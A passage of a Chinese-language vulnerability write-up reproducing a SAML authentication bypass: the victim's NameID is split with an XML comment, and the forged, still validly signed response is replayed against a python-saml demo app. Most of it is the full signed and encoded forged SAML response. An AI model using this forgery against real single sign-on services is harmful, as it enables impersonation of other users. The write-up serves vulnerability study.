Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>hvRgEUe31bN8ask8BaoAWe8f+9c=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>P2+AXQqqsPePdZZ9FnFIbzvTAuRSdYGyfuSmv6jKeZFsu1JGMBCPaU5SaiwSb2OWrvrLN+9KDLAvY/TOJF40j6wx0WSrs+Gs/PEGhUY5BF6NvTTOwKJtCAk7drMMrK3gaMcRJUiLBMjllCO+oYuuQ7EAX0+fqbQYpR/nc35p+TxNC+lHwq57TOfPNtqI/daHlv2IpeeNtOwnq4A2vpo4TBFB3kqTgJj8zbXN9+exGT6fZVXLEzdzB2JNX/TbGFnQIW3J1ocJQvrQwgJG8OVuLNHsm1zrsKKnNT+HAy173h71kZNxxJhEzYTEKJG9NAsdNX3ZdC0kgk+9tNEWore0RQ==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIEDjCCAvagAwIBAgIURSF7r5502dfTNIYjZbCbuQzoTZAwDQYJKoZIhvcNAQEFBQAwVTELMAkGA1UEBhMCVVMxDTALBgNVBAoMBENOTlQxFTATBgNVBAsMDE9uZUxvZ2luIElkUDEgMB4GA1UEAwwXT25lTG9naW4gQWNjb3VudCAxMjMwOTgwHhcNMTgwMzAxMDc0NzA3WhcNMjMwMzAxMDc0NzA3WjBVMQswCQYDVQQGEwJVUzENMAsGA1UECgwEQ05OVDEVMBMGA1UECwwMT25lTG9naW4gSWRQMSAwHgYDVQQDDBdPbmVMb2dpbiBBY2NvdW50IDEyMzA5ODCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANVH88hpn4umxEHuaTOtCAarNCYr/Vnv1D953mlwQ/y1NqLcC0vxikzH7G6JoTawzqtrtheln11AoxmkzqhTvwxXpnbbkHUz/BxRZFaWI1OcT2i490n46HekHPEm9QrkYgGyLKYgnsFu/gvl8TGeaav+jSecGgfEMVcxwOs1fIrJouW/UNheehjPpEB+zYMBf7bqabAdV86R6mFpDq3CJP86iuTNK1w1VnZB4v6QTQkqGJ8anVSqS9z200BBjjvBurylTPjefJdO1V8CcC3NS7sOW8GQO0jHA4+GH2EPP75kYV632GgzD6kPt8BiBEs73mcjml+lH2VukjBLbKhprVsCAwEAAaOB1TCB0jAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSccxTeTU6gqnuuUV+6k/CLM71XrjCBkgYDVR0jBIGKMIGHgBSccxTeTU6gqnuuUV+6k/CLM71XrqFZpFcwVTELMAkGA1UEBhMCVVMxDTALBgNVBAoMBENOTlQxFTATBgNVBAsMDE9uZUxvZ2luIElkUDEgMB4GA1UEAwwXT25lTG9naW4gQWNjb3VudCAxMjMwOTiCFEUhe6+edNnX0zSGI2Wwm7kM6E2QMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQUFAAOCAQEAKnId82nIkRSoULV8w8vPtas5TkSRhFN0+A1+7hepQGITTzaRansCLJOgAzj2jeq0YgeeIO/TUKBN3v4yEr8ir50TDJO427XZaBz8BeKwyKBbP6oPRNIgSyvUABh57roX+JyMx2yfFi667QsJX/N5Ug0SslajfndIV7lCQwqoES2Gw87K7rtkXoLn4gZgtsgsoA4HU0ktG2BsrxMV0goHxbJPPWsqOxhhNHVtEwn3dG2y6WxFrdA0RYRFMttYKP08VFCf+8tdLIrX6yr0ZnYzRElb6y81mdmJaTywehvFQVwb+5L8enhPd5eBqfzDwdTdGm98Qyah9ScV5nlUy5pJLA==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">test1@cnnt.com.cnnt.com</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2018-03-02T16:11:19Z" Recipient="http://180.76.234.24/?acs" InResponseTo="ONELOGIN_61f4ac5d5e96a1cbd5ad18c247548548e03d3fa1"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2018-03-02T16:05:19Z" NotOnOrAfter="2018-03-02T16:11:19Z"><saml:AudienceRestriction><saml:Audience>http://180.76.234.24/metadata/</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2018-03-02T16:08:18Z" SessionNotOnOrAfter="2018-03-03T16:08:19Z" SessionIndex="_d6e40850-0061-0136-d60e-06da7126ae26"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.LastName"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test2</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.FirstName"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test2</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="memberOf"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Test</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="PersonImmutableID"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"/></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.email"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test1@cnnt.com.cnnt.com</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>

第二步,将NameID和Attribute中的用户B的邮箱

test1@cnnt.com.cnnt.com

改成

test1@cnnt.com<!---->.cnnt.com

并重新base64encode+urlencode后得到如下的SAML Response:

PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJSNmZmNDU5YjBiYjM0NTJkNDk3MDVmMWRhOTNkODQzOTQyZDQ1YTU0YiIgVmVyc2lvbj0iMi4wIiBJc3N1ZUluc3RhbnQ9IjIwMTgtMDMtMDJUMTY6MDg6MTlaIiBEZXN0aW5hdGlvbj0iaHR0cDovLzE4MC43Ni4yMzQuMjQvP2FjcyIgSW5SZXNwb25zZVRvPSJPTkVMT0dJTl82MWY0YWM1ZDVlOTZhMWNiZDVhZDE4YzI0NzU0ODU0OGUwM2QzZmExIj48c2FtbDpJc3N1ZXI%2BaHR0cHM6Ly9hcHAub25lbG9naW4uY29tL3NhbWwvbWV0YWRhdGEvNzU4MzIxPC9zYW1sOklzc3Vlcj48c2FtbHA6U3RhdHVzPjxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiLz48L3NhbWxwOlN0YXR1cz48c2FtbDpBc3NlcnRpb24geG1sbnM6c2FtbD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiIgeG1sbnM6eHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiBWZXJzaW9uPSIyLjAiIElEPSJwZng3NzhkNzg3Yy05NTZiLWQ3MzAtNDNiYS03ZjJmNGUwYjVhM2IiIElzc3VlSW5zdGFudD0iMjAxOC0wMy0wMlQxNjowODoxOVoiPjxzYW1sOklzc3Vlcj5odHRwczovL2FwcC5vbmVsb2dpbi5jb20vc2FtbC9tZXRhZGF0YS83NTgzMjE8L3NhbWw6SXNzdWVyPjxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxkczpTaWduZWRJbmZvPjxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPGRzOlNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNyc2Etc2hhMSIvPjxkczpSZWZlcmVuY2UgVVJJPSIjcGZ4Nzc4ZDc4N2MtOTU2Yi1kNzMwLTQzYmEtN2YyZjRlMGI1YTNiIj48ZHM6VHJhbnNmb3Jtcz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI2VudmVsb3BlZC1zaWduYXR1cmUiLz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPC9kczpUcmFuc2Zvcm1zPjxkczpEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjc2hhMSIvPjxkczpEaWdlc3RWYWx1ZT5odlJnRVVlMzFiTjhhc2s4QmFvQVdlOGYrOWM9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPlAyK0FYUXFxc1BlUGRaWjlGbkZJYnp2VEF1UlNkWUd5ZnVTbXY2aktlWkZzdTFKR01CQ1BhVTVTYWl3U2IyT1dydnJMTis5S0RMQXZZL1RPSkY0MGo2d3gwV1NycytHcy9QRUdoVVk1QkY2TnZUVE93S0p0Q0FrN2RyTU1ySzNnYU1jUkpVaUxCTWpsbENPK29ZdXVRN0VBWDArZnFiUVlwUi9uYzM1cCtUeE5DK2xId3E1N1RPZlBOdHFJL2RhSGx2MklwZWVOdE93bnE0QTJ2cG80VEJGQjNrcVRnSmo4emJYTjkrZXhHVDZmWlZYTEV6ZHpCMkpOWC9UYkdGblFJVzNKMW9jSlF2clF3Z0pHOE9WdUxOSHNtMXpyc0tLbk5UK0hBeTE3M2g3MWtaTnh4SmhFellURUtKRzlOQXNkTlgzWmRDMGtnays5dE5FV29yZTBSUT09PC9kczpTaWduYXR1cmVWYWx1ZT48ZHM6S2V5SW5mbz48ZHM6WDUwOURhdGE%2BPGRzOlg1MDlDZXJ0aWZpY2F0ZT5NSUlFRGpDQ0F2YWdBd0lCQWdJVVJTRjdyNTUwMmRmVE5JWWpaYkNidVF6b1RaQXdEUVlKS29aSWh2Y05BUUVGQlFBd1ZURUxNQWtHQTFVRUJoTUNWVk14RFRBTEJnTlZCQW9NQkVOT1RsUXhGVEFUQmdOVkJBc01ERTl1WlV4dloybHVJRWxrVURFZ01CNEdBMVVFQXd3WFQyNWxURzluYVc0Z1FXTmpiM1Z1ZENBeE1qTXdPVGd3SGhjTk1UZ3dNekF4TURjME56QTNXaGNOTWpNd016QXhNRGMwTnpBM1dqQlZNUXN3Q1FZRFZRUUdFd0pWVXpFTk1Bc0dBMVVFQ2d3RVEwNU9WREVWTUJNR0ExVUVDd3dNVDI1bFRHOW5hVzRnU1dSUU1TQXdIZ1lEVlFRRERCZFBibVZNYjJkcGJpQkJZMk52ZFc1MElERXlNekE1T0RDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTlZIODhocG40dW14RUh1YVRPdENBYXJOQ1lyL1ZudjFEOTUzbWx3US95MU5xTGNDMHZ4aWt6SDdHNkpvVGF3enF0cnRoZWxuMTFBb3hta3pxaFR2d3hYcG5iYmtIVXovQnhSWkZhV0kxT2NUMmk0OTBuNDZIZWtIUEVtOVFya1lnR3lMS1lnbnNGdS9ndmw4VEdlYWF2K2pTZWNHZ2ZFTVZjeHdPczFmSXJKb3VXL1VOaGVlaGpQcEVCK3pZTUJmN2JxYWJBZFY4NlI2bUZwRHEzQ0pQODZpdVROSzF3MVZuWkI0djZRVFFrcUdKOGFuVlNxUzl6MjAwQkJqanZCdXJ5bFRQamVmSmRPMVY4Q2NDM05TN3NPVzhHUU8wakhBNCtHSDJFUFA3NWtZVjYzMkdnekQ2a1B0OEJpQkVzNzNtY2ptbCtsSDJWdWtqQkxiS2hwclZzQ0F3RUFBYU9CMVRDQjBqQU1CZ05WSFJNQkFmOEVBakFBTUIwR0ExVWREZ1FXQkJTY2N4VGVUVTZncW51dVVWKzZrL0NMTTcxWHJqQ0JrZ1lEVlIwakJJR0tNSUdIZ0JTY2N4VGVUVTZncW51dVVWKzZrL0NMTTcxWHJxRlpwRmN3VlRFTE1Ba0dBMVVFQmhNQ1ZWTXhEVEFMQmdOVkJBb01CRU5PVGxReEZUQVRCZ05WQkFzTURFOXVaVXh2WjJsdUlFbGtVREVnTUI0R0ExVUVBd3dYVDI1bFRHOW5hVzRnUVdOamIzVnVkQ0F4TWpNd09UaUNGRVVoZTYrZWROblgwelNHSTJXd203a002RTJRTUE0R0ExVWREd0VCL3dRRUF3SUhnREFOQmdrcWhraUc5dzBCQVFVRkFBT0NBUUVBS25JZDgybklrUlNvVUxWOHc4dlB0YXM1VGtTUmhGTjArQTErN2hlcFFHSVRUemFSYW5zQ0xKT2dBemoyamVxMFlnZWVJTy9UVUtCTjN2NHlFcjhpcjUwVERKTzQyN1haYUJ6OEJlS3d5S0JiUDZvUFJOSWdTeXZVQUJoNTdyb1grSnlNeDJ5ZkZpNjY3UXNKWC9ONVVnMFNzbGFqZm5kSVY3bENRd3FvRVMyR3c4N0s3cnRrWG9MbjRnWmd0c2dzb0E0SFUwa3RHMkJzcnhNVjBnb0h4YkpQUFdzcU94aGhOSFZ0RXduM2RHMnk2V3hGcmRBMFJZUkZNdHRZS1AwOFZGQ2YrOHRkTElyWDZ5cjBabll6UkVsYjZ5ODFtZG1KYVR5d2VodkZRVndiKzVMOGVuaFBkNWVCcWZ6RHdkVGRHbTk4UXlhaDlTY1Y1bmxVeTVwSkxBPT08L2RzOlg1MDlDZXJ0aWZpY2F0ZT48L2RzOlg1MDlEYXRhPjwvZHM6S2V5SW5mbz48L2RzOlNpZ25hdHVyZT48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyI%2BdGVzdDFAY25udC5jb208IS0tLS0%2BLmNubnQuY29tPC9zYW1sOk5hbWVJRD48c2FtbDpTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPHNhbWw6U3ViamVjdENvbmZpcm1hdGlvbkRhdGEgTm90T25PckFmdGVyPSIyMDE4LTAzLTAyVDE2OjExOjE5WiIgUmVjaXBpZW50PSJodHRwOi8vMTgwLjc2LjIzNC4yNC8/YWNzIiBJblJlc3BvbnNlVG89Ik9ORUxPR0lOXzYxZjRhYzVkNWU5NmExY2JkNWFkMThjMjQ3NTQ4NTQ4ZTAzZDNmYTEiLz48L3NhbWw6U3ViamVjdENvbmZpcm1hdGlvbj48L3NhbWw6U3ViamVjdD48c2FtbDpDb25kaXRpb25zIE5vdEJlZm9yZT0iMjAxOC0wMy0wMlQxNjowNToxOVoiIE5vdE9uT3JBZnRlcj0iMjAxOC0wMy0wMlQxNjoxMToxOVoiPjxzYW1sOkF1ZGllbmNlUmVzdHJpY3Rpb24%2BPHNhbWw6QXVkaWVuY2U%2BaHR0cDovLzE4MC43Ni4yMzQuMjQvbWV0YWRhdGEvPC9zYW1sOkF1ZGllbmNlPjwvc2FtbDpBdWRpZW5jZVJlc3RyaWN0aW9uPjwvc2FtbDpDb25kaXRpb25zPjxzYW1sOkF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAxOC0wMy0wMlQxNjowODoxOFoiIFNlc3Npb25Ob3RPbk9yQWZ0ZXI9IjIwMTgtMDMtMDNUMTY6MDg6MTlaIiBTZXNzaW9uSW5kZXg9Il9kNmU0MDg1MC0wMDYxLTAxMzYtZDYwZS0wNmRhNzEyNmFlMjYiPjxzYW1sOkF1dGhuQ29udGV4dD48c2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvc2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj48L3NhbWw6QXV0aG5Db250ZXh0Pjwvc2FtbDpBdXRoblN0YXRlbWVudD48c2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuTGFzdE5hbWUiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3QyPC9zYW1sOkF0dHJpYnV0ZVZhbHVlPjwvc2FtbDpBdHRyaWJ1dGU%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuRmlyc3ROYW1lIj48c2FtbDpBdHRyaWJ1dGVWYWx1ZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4c2k6dHlwZT0ieHM6c3RyaW5nIj50ZXN0Mjwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjxzYW1sOkF0dHJpYnV0ZSBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIiBOYW1lPSJtZW1iZXJPZiI%2BPHNhbWw6QXR0cmlidXRlVmFsdWUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeHNpOnR5cGU9InhzOnN0cmluZyI%2BVGVzdDwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjxzYW1sOkF0dHJpYnV0ZSBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIiBOYW1lPSJQZXJzb25JbW11dGFibGVJRCI%2BPHNhbWw6QXR0cmlidXRlVmFsdWUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeHNpOnR5cGU9InhzOnN0cmluZyIvPjwvc2FtbDpBdHRyaWJ1dGU%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuZW1haWwiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3QxQGNubnQuY29tPCEtLS0tPi5jbm50LmNvbTwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjwvc2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPC9zYW1sOkFzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPgoK

第三步,重新发送修改后的SAML Response至我们的SP(demo-flask)

可见签名校验成功,并返回了相应的session id。

第四步,利用上一步获取到的session id访问SP,我们发现User.email的值被成功地由test1@cnnt.com.cnnt.com修改成了test1@cnnt.com,如下:

至此,我们成功地复现了漏洞。

0x03 总结

总结一下该漏洞的成因其实很简单,就是由于用于生成SAML Response中的签名的标准化方法与处理身份识别码的XML解析库对于注释的处理不一致从而导致签名校验被绕过,最终出现了越权访问其他用户的数据资源的漏洞。

这个漏洞的利用思路还是比较有意思的,但是也有一定的局限性,要想越权访问其他用户的话,首先需要一个认证成功的用户A,且目标用户B的NameID是可以通过以注释的方式分割用户A的NameID来获得,如用户A的NameID是123456,用户B的NameID是1234。

0x04 参考